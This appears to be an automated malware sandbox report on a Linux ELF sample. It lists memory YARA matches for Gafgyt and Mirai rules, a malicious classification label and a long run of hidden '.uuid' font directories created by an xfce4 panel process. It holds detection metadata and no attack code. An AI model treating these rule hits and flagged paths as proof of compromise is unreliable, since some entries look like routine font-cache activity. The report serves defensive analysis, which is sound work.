Source: 5539.1.00007feed0400000.00007feed0413000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: 5539.1.00007feed0400000.00007feed0413000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
Source: 5539.1.00007feed0400000.00007feed0413000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_2 date = 2018-10-27, hash1 = fa0018e75f503f9748a5de0d14d4358db234f65e28c31c8d5878cc58807081c9, author = Florian Roth, description = Detects ELF malware Mirai related, reference = Internal Research
Source: 5545.1.00007feed0400000.00007feed0413000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: 5545.1.00007feed0400000.00007feed0413000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
Source: 5545.1.00007feed0400000.00007feed0413000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_2 date = 2018-10-27, hash1 = fa0018e75f503f9748a5de0d14d4358db234f65e28c31c8d5878cc58807081c9, author = Florian Roth, description = Detects ELF malware Mirai related, reference = Internal Research
Source: 5532.1.00007feed0400000.00007feed0413000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: 5532.1.00007feed0400000.00007feed0413000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
Source: 5532.1.00007feed0400000.00007feed0413000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_2 date = 2018-10-27, hash1 = fa0018e75f503f9748a5de0d14d4358db234f65e28c31c8d5878cc58807081c9, author = Florian Roth, description = Detects ELF malware Mirai related, reference = Internal Research
Source: 5543.1.00007feed0400000.00007feed0413000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: 5543.1.00007feed0400000.00007feed0413000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
Source: 5543.1.00007feed0400000.00007feed0413000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_2 date = 2018-10-27, hash1 = fa0018e75f503f9748a5de0d14d4358db234f65e28c31c8d5878cc58807081c9, author = Florian Roth, description = Detects ELF malware Mirai related, reference = Internal Research
Source: 5528.1.00007feed0400000.00007feed0413000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: 5528.1.00007feed0400000.00007feed0413000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
Source: 5528.1.00007feed0400000.00007feed0413000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_2 date = 2018-10-27, hash1 = fa0018e75f503f9748a5de0d14d4358db234f65e28c31c8d5878cc58807081c9, author = Florian Roth, description = Detects ELF malware Mirai related, reference = Internal Research
Source: 5533.1.00007feed0400000.00007feed0413000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: 5533.1.00007feed0400000.00007feed0413000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
Source: 5533.1.00007feed0400000.00007feed0413000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_2 date = 2018-10-27, hash1 = fa0018e75f503f9748a5de0d14d4358db234f65e28c31c8d5878cc58807081c9, author = Florian Roth, description = Detects ELF malware Mirai related, reference = Internal Research
Source: Process Memory Space: db0fa4b8db0333367e9bda3ab68b8042.sh4.elf PID: 5528, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: Process Memory Space: db0fa4b8db0333367e9bda3ab68b8042.sh4.elf PID: 5532, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: Process Memory Space: db0fa4b8db0333367e9bda3ab68b8042.sh4.elf PID: 5533, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: Process Memory Space: db0fa4b8db0333367e9bda3ab68b8042.sh4.elf PID: 5539, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: Process Memory Space: db0fa4b8db0333367e9bda3ab68b8042.sh4.elf PID: 5543, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: Process Memory Space: db0fa4b8db0333367e9bda3ab68b8042.sh4.elf PID: 5545, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16

Source: classification engine

Classification label: mal100.spre.troj.linELF@0/0@28/0

Creates hidden files and/or directories

Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5551)	Directory: /home/saturnino/.Xdefaults-galassia	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /home/saturnino/.Xdefaults-galassia	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /usr/share/fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /usr/local/share/fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /home/saturnino/.local/share/fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /home/saturnino/.fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /usr/share/fonts/X11/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /usr/share/fonts/cMap/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /usr/share/fonts/cmap/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /usr/share/fonts/opentype/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /usr/share/fonts/truetype/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /usr/share/fonts/type1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /usr/share/fonts/X11/Type1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /usr/share/fonts/X11/encodings/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /usr/share/fonts/X11/misc/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /usr/share/fonts/X11/util/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /usr/share/fonts/cmap/adobe-cns1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /usr/share/fonts/cmap/adobe-gb1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /usr/share/fonts/cmap/adobe-japan1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /usr/share/fonts/cmap/adobe-japan2/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /usr/share/fonts/cmap/adobe-korea1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /usr/share/fonts/opentype/malayalam/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /usr/share/fonts/opentype/mathjax/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /usr/share/fonts/opentype/noto/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /usr/share/fonts/opentype/urw-base35/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /usr/share/fonts/truetype/Gargi/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /usr/share/fonts/truetype/Gubbi/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /usr/share/fonts/truetype/Nakula/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /usr/share/fonts/truetype/Navilu/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /usr/share/fonts/truetype/Sahadeva/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /usr/share/fonts/truetype/Sarai/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /usr/share/fonts/truetype/abyssinica/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /usr/share/fonts/truetype/ancient-scripts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /usr/share/fonts/truetype/dejavu/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /usr/share/fonts/truetype/droid/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /usr/share/fonts/truetype/fonts-beng-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /usr/share/fonts/truetype/fonts-deva-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /usr/share/fonts/truetype/fonts-gujr-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /usr/share/fonts/truetype/fonts-guru-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /usr/share/fonts/truetype/fonts-kalapi/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /usr/share/fonts/truetype/fonts-orya-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /usr/share/fonts/truetype/fonts-telu-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /usr/share/fonts/truetype/fonts-yrsa-rasa/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /usr/share/fonts/truetype/freefont/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /usr/share/fonts/truetype/kacst/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /usr/share/fonts/truetype/kacst-one/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /usr/share/fonts/truetype/lao/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /usr/share/fonts/truetype/lato/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /usr/share/fonts/truetype/liberation/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /usr/share/fonts/truetype/liberation2/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /usr/share/fonts/truetype/lohit-assamese/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /usr/share/fonts/truetype/lohit-bengali/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /usr/share/fonts/truetype/lohit-devanagari/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /usr/share/fonts/truetype/lohit-gujarati/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /usr/share/fonts/truetype/lohit-kannada/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /usr/share/fonts/truetype/lohit-malayalam/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /usr/share/fonts/truetype/lohit-oriya/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /usr/share/fonts/truetype/lohit-punjabi/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /usr/share/fonts/truetype/lohit-tamil/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /usr/share/fonts/truetype/lohit-tamil-classical/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /usr/share/fonts/truetype/lohit-telugu/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /usr/share/fonts/truetype/malayalam/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /usr/share/fonts/truetype/noto/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /usr/share/fonts/truetype/openoffice/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /usr/share/fonts/truetype/padauk/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /usr/share/fonts/truetype/pagul/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /usr/share/fonts/truetype/samyak/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /usr/share/fonts/truetype/samyak-fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /usr/share/fonts/truetype/sinhala/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /usr/share/fonts/truetype/tibetan-machine/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /usr/share/fonts/truetype/tlwg/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /usr/share/fonts/truetype/ttf-khmeros-core/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /usr/share/fonts/truetype/ubuntu/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /usr/share/fonts/type1/urw-base35/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /usr/share/fonts/X11/encodings/large/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5553)	Directory: /home/saturnino/.Xdefaults-galassia	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /home/saturnino/.Xdefaults-galassia	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /usr/share/fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /usr/local/share/fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /home/saturnino/.local/share/fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /home/saturnino/.fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /usr/share/fonts/X11/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /usr/share/fonts/cMap/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /usr/share/fonts/cmap/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /usr/share/fonts/opentype/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /usr/share/fonts/truetype/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /usr/share/fonts/type1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /usr/share/fonts/X11/Type1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /usr/share/fonts/X11/encodings/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /usr/share/fonts/X11/misc/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /usr/share/fonts/X11/util/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /usr/share/fonts/cmap/adobe-cns1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /usr/share/fonts/cmap/adobe-gb1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /usr/share/fonts/cmap/adobe-japan1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /usr/share/fonts/cmap/adobe-japan2/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /usr/share/fonts/cmap/adobe-korea1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /usr/share/fonts/opentype/malayalam/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /usr/share/fonts/opentype/mathjax/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /usr/share/fonts/opentype/noto/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /usr/share/fonts/opentype/urw-base35/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /usr/share/fonts/truetype/Gargi/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /usr/share/fonts/truetype/Gubbi/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /usr/share/fonts/truetype/Nakula/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /usr/share/fonts/truetype/Navilu/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /usr/share/fonts/truetype/Sahadeva/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /usr/share/fonts/truetype/Sarai/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /usr/share/fonts/truetype/abyssinica/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /usr/share/fonts/truetype/ancient-scripts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /usr/share/fonts/truetype/dejavu/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /usr/share/fonts/truetype/droid/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /usr/share/fonts/truetype/fonts-beng-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /usr/share/fonts/truetype/fonts-deva-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /usr/share/fonts/truetype/fonts-gujr-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /usr/share/fonts/truetype/fonts-guru-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /usr/share/fonts/truetype/fonts-kalapi/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /usr/share/fonts/truetype/fonts-orya-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /usr/share/fonts/truetype/fonts-telu-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /usr/share/fonts/truetype/fonts-yrsa-rasa/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /usr/share/fonts/truetype/freefont/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /usr/share/fonts/truetype/kacst/.uuid	Jump to behavior
